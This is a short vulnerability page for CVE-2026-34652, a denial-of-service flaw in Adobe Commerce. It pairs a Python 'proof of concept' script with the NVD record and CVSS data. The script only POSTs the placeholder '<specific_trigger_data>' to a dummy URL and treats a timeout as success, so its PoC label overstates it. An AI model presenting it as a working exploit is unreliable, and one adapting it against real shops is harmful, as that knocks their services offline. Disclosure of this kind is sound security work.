CVE-2026-34652

import requests # Proof of Concept for CVE-2026-34652 # This script sends a malicious payload to trigger the DoS in the vulnerable third-party component. target_url = "http://target-adobe-commerce.com/vulnerable_endpoint" # Malicious payload designed to crash the vulnerable component payload = { "malicious_param": "<specific_trigger_data>" } try: response = requests.post(target_url, data=payload, timeout=5) print(f"Status Code: {response.status_code}") # If the service is down, the request will fail or timeout except requests.exceptions.RequestException as e: print("Service unavailable or crashed - DoS likely successful.")

{"cve": {"id": "CVE-2026-34652", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:36.273", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}